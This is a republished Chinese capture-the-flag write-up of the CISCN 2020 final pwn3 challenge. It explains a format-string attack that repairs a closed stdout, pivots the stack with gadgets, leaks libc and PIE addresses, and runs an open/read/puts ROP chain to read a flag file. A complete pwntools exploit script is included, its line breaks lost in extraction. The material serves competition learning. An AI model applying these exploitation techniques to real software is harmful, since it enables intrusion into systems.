CISCN 2020 Final Day2 pwn3思路分享

  • A+
所属分类:逆向工程

CISCN 2020 Final Day2 pwn3思路分享

 

前言

亲眼见证隔壁队伍一个pwn3一血直通第二,我酸了。看起来大多数师傅的方法都是爆破1/4096,我的路子开始就有点偏,赛后花了4个小时还是写了一遍,分享一下我的思路。


总体思路

1、由于close(1)将标准输出流关闭,使得fsb不能够再leak出任何地址;因此需要想办法将stdout->_fileno = 2,从而使得输出恢复正常;而由于整个binary的调用栈十分简单,使得fsb可利用的栈下方存在极少可利用的libc地址,而栈的上方则残留了stdout的地址,且经调试发现,这部分残留的内容不会被后续的函数调用所影响。

2、同时关注到binary中存在一条这样的gadget:

.text:0000000000000CDF mov rax, [rbp+buf]
.text:0000000000000CE3 mov edx, 1 ; nbytes
.text:0000000000000CE8 mov rsi, rax ; buf
.text:0000000000000CEB mov edi, 0 ; fd
.text:0000000000000CF0 call read

也就是说,只要结合栈上残留的stdout地址,将其低位改写从而创造出一个指向stdout->_fileno的指针,再将[rbp+buf](也就是[rbp-0x18])指向这个地址,r然后劫持控制流到这个地方,那么就能向stdout->_fileno写入数据了。

3、但是改写成功之后,仍然需要保持程序的正常执行,所以后续涉及到一系列的控栈,调栈内存的操作,直到恢复正常。

4、此后当作普通的fsb写即可,这里通过gadget控制rdi然后跳到read_str处执行:

.text:0000000000000F21 call sub_CCD

这里rdi就是写入的buffer的地址,rsi就是长度,那么这个时候写入orw的gadgets即可。


利用过程

1、首先利用这条关键的rbp链实现栈上任意写,但是注意到close(1)之后,通过类似%1000c这样的payload来控制%n写入的值是不可行的,而读入的字符长度限制在288以内,所以一次只写1 byte,实际上也足够了,只是显得稍繁琐:

CISCN 2020 Final Day2 pwn3思路分享

2、可以观察到根据给出的gift也即栈地址,上图中是0x7ffdd5c43fa8,其-0x70偏移处存在一个stdout地址:

CISCN 2020 Final Day2 pwn3思路分享

利用栈地址任意写把其低位改成0x90,就正好指向stdout->_fileno

CISCN 2020 Final Day2 pwn3思路分享3、同时考虑到之后要将rbp改到这个stdout->fileno地址存放的栈地址+0x18的位置,使得[rbp-0x18] = &stdout->_fileno,而当read完成之后需要返回时,会执行如下指令:

.text:0000000000000D51 leave
.text:0000000000000D52 retn

此时rbp = 0x7ffdd5c43f50,意味着会返回到*0x0x7ffdd5c43f58 = 0x562e4bc84cf5的位置,而实际上返回到这个地址正是read的返回地址,也就是说不会破坏程序的正常执行,只是需要多读入一个字节然后再次执行leave; ret的指令,只是此时rbp已经由于上一次的leave发生了变化;若要继续保持程序正常执行,那么就需要控制这个rbp为一个合理的值。

4、而注意到上图中,0x7ffdd5c43f48出存放了一个data段的地址,因此可以通过爆破4 bits,将其写如一个gadget,控制rsp + 0x38

.text:0000000000001046 add rsp, 8
.text:000000000000104A pop rbx
.text:000000000000104B pop rbp
.text:000000000000104C pop r12
.text:000000000000104E pop r13
.text:0000000000001050 pop r14
.text:0000000000001052 pop r15
.text:0000000000001054 retn

rsp + 0x38处正好是:

CISCN 2020 Final Day2 pwn3思路分享

.text:0000000000000F3A nop
.text:0000000000000F3B pop rbp
.text:0000000000000F3C retn

但是此时若返回至*0x7ffdd5c43f98 = 0x562e4bc84f3a,依然会crash,而且目标地址和其相差2 bytes,无法通过一次fsb修改成功,因此这里通过写其低地址为改成ret 的gadget,转而通过控制*0x7ffdd5c43fa0来劫持控制流:

CISCN 2020 Final Day2 pwn3思路分享5、布置好之后,就可以跳到布置好的位置上,改写stdout->_fileno = 2了:

CISCN 2020 Final Day2 pwn3思路分享

同时保证程序的正常执行:

CISCN 2020 Final Day2 pwn3思路分享

就算再次执行close(1)也不会有影响。

6、恢复完标准输出之后,就是普通的fsb做法,这里采用改写printf的返回地址为pop rdi的gadget,通过控制rdi指向返回地址处,然后控制执行流到:

.text:0000000000000F21 call sub_CCD

CISCN 2020 Final Day2 pwn3思路分享

CISCN 2020 Final Day2 pwn3思路分享

两个参数rdi为buffer地址,rsi为长度。

7、之后就是写入orw的rop,劫持返回地址即可:

CISCN 2020 Final Day2 pwn3思路分享

CISCN 2020 Final Day2 pwn3思路分享


exp

整体来说,由于存在爆破4 bit,同时要求给的stack地址低字节要大于0x70,所以理论上爆破的概率为1/32,但是exp很难写,相比于直接改__libc_start_main爆破到stdout->_fileno概率1/4096,这么写显得很不划算(但是对于我这种非酋来说,66.7%的中奖率我都能完美避过,那1/4096基本上在我这就是0了)

from pwn import *import sys, os, re
context(arch='amd64', os='linux', log_level='info')context(terminal=['gnome-terminal', '--', 'zsh', '-c'])
_proc = os.path.abspath('./anti')_libc = os.path.abspath('./libc.so.6')
libc = ELF(_libc)elf = ELF(_proc)
p = process(argv=[_proc])
while True: try: p.settimeout(0.5)
# get stack address prefix = "Ciscn20" p.recvuntil("Gift: 0x") stack_addr = int(p.recvline()[:-1], 16)
# set stdout address low byte payload = "A" * ((stack_addr - 0x70) & 0xFF) + "%6$hhn" p.sendlineafter("Come in quickly, I will close the door.", payload) payload = "A" * 0x90 + "%10$hhn" p.sendline(payload)
# set gadget (add rsp, 0x38) payload = "A" * ((stack_addr - 0x60) & 0xFF) + "%6$hhn" p.sendline(payload)# payload = "A" * (((_base(_proc) + 0x1046) & 0xFF00) >> 8) + "%10$hhn" # bruteforce 4 bits payload = "A" * (((0x5000 + 0x1046) & 0xFF00) >> 8) + "%10$hhn" # bruteforce 4 bits p.sendline(payload)
# set stack address at stack (point to return address)) payload = "A" * ((stack_addr + 0x28) & 0xFF) + "%6$hhn" p.sendline(payload) payload = "A" * ((stack_addr - 0x10) & 0xFF) + "%10$hhn" p.sendline(payload) payload = "A" * ((stack_addr + 0x29) & 0xFF) + "%6$hhn" p.sendline(payload) payload = "A" * (((stack_addr - 0x10) & 0xFF00) >> 8) + "%10$hhn" p.sendline(payload)
# set fake old old rbp (for following stack pivot) payload = "A" * ((stack_addr - 0x58) & 0xFF) + "%6$hhn" p.sendline(payload) payload = "A" * ((stack_addr + 0x8) & 0xFF) + "%10$hhn" p.sendline(payload) payload = "A" * ((stack_addr - 0x57) & 0xFF) + "%6$hhn" p.sendline(payload) payload = "A" * (((stack_addr + 0x8) & 0xFF00) >> 8) + "%10$hhn" p.sendline(payload)
# set return address to ''' .text:0000000000000CDF mov rax, [rbp+buf] .text:0000000000000CE3 mov edx, 1 ; nbytes .text:0000000000000CE8 mov rsi, rax ; buf .text:0000000000000CEB mov edi, 0 ; fd .text:0000000000000CF0 call read ''' payload = "A" * ((stack_addr - 0x8) & 0xFF) + "%6$hhn" p.sendline(payload)# payload = "A" * ((('''_base(_proc)'''0x5000 + 0xCDF) & 0xFF00) >> 8) + "%10$hhn" payload = "A" * ((0x5000 + 0xCDF) & 0xFF) + "%10$hhn" # bruteforce 4 bits p.sendline(payload) payload = "A" * ((stack_addr - 0x7) & 0xFF) + "%6$hhn" p.sendline(payload)# payload = "A" * (((_base(_proc) + 0xCDF) & 0xFF00) >> 8) + "%10$hhn" payload = "A" * (((0x5000 + 0xCDF) & 0xFF00) >> 8) + "%10$hhn" p.sendline(payload)
# set return address (PIE + 0xF3D) payload = "A" * ((stack_addr + 0x10) & 0xFF) + "%6$hhn" p.sendline(payload) payload = "A" * 0x3D + "%10$hhn" p.sendline(payload)
# set old rbp payload = "A" * ((stack_addr - 0x18) & 0xFF) + "%6$hhn" p.sendline(payload) payload = "A" * ((stack_addr - 0x58) & 0xFF) + "%10$hhn" p.sendline(payload)
# set gadget ret# pause() payload = "A" * 0x3C + "%14$hhn" p.sendline(payload)
# set stdout->_fileno = 2 p.sendline("x02") p.sendline("") p.recvuntil("Come in quickly, I will close the door.n")
# now the output has been recovered# leak PIE and libc p.sendline("%7$p%12$p") p.recvuntil("0x") PIE_base = int(p.recv(12), 16) - 0xf96 p.recvuntil("0x") libc_base = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 240
# leave a specific stack address at stack (for follwing fsb exploit) payload = "%" + str((stack_addr - 0x8) & 0xFFFF) + "c%14$hn" p.sendline(payload)
# set rop to control rdi and jump to: ''' .text:0000000000000F21 call sub_CCD ''' # this will help to read orw gadgets to stack payload = "%" + str((PIE_base + 0x1053) & 0xFFFF) + "c%10$hn" payload += "%" + str((stack_addr - 0x8 + (0x100 - ((PIE_base + 0x1053) & 0xFF))) & 0xFF) + "c%13$hhn" payload += "%" + str((0x21 + (0x100 - ((stack_addr - 0x8) & 0xFF))) & 0xFF) + "c%40$hhn"# pause() p.sendline(payload)
pop_rdi = libc_base + 0x0000000000021112 # pop rdi ; ret pop_rsi = libc_base + 0x00000000000202f8 # pop rsi ; ret pop_rdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
# send orw gadgets payload = flat([pop_rdi, stack_addr + 0x70, pop_rsi, 0, libc_base + libc.sym['open']]) payload += flat([pop_rdi, 1, pop_rsi, stack_addr - 0x100, pop_rdx, 0x40, libc_base + libc.sym['read']]) payload += flat([pop_rdi, stack_addr - 0x100, libc_base + libc.sym['puts']]) payload += "/flag.txt" p.sendline(payload)
break
except: p.close() p = process(argv=[_proc])
success("libc_base: " + hex(libc_base))success("stack_addr: " + hex(stack_addr))success("PIE_base: " + hex(PIE_base))
p.interactive()

CISCN 2020 Final Day2 pwn3思路分享


- End -
精彩推荐

Fastjson < 1.2.68版本反序列化漏洞分析篇

安全客季刊正式发布 | 戳这里、读季刊赢好礼吧~

通过HackerOne漏洞报告学习PostMessage漏洞实战场景中的利用与绕过

使用无括号的XSS绕过CSP策略研究

CISCN 2020 Final Day2 pwn3思路分享
CISCN 2020 Final Day2 pwn3思路分享

戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):CISCN 2020 Final Day2 pwn3思路分享

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: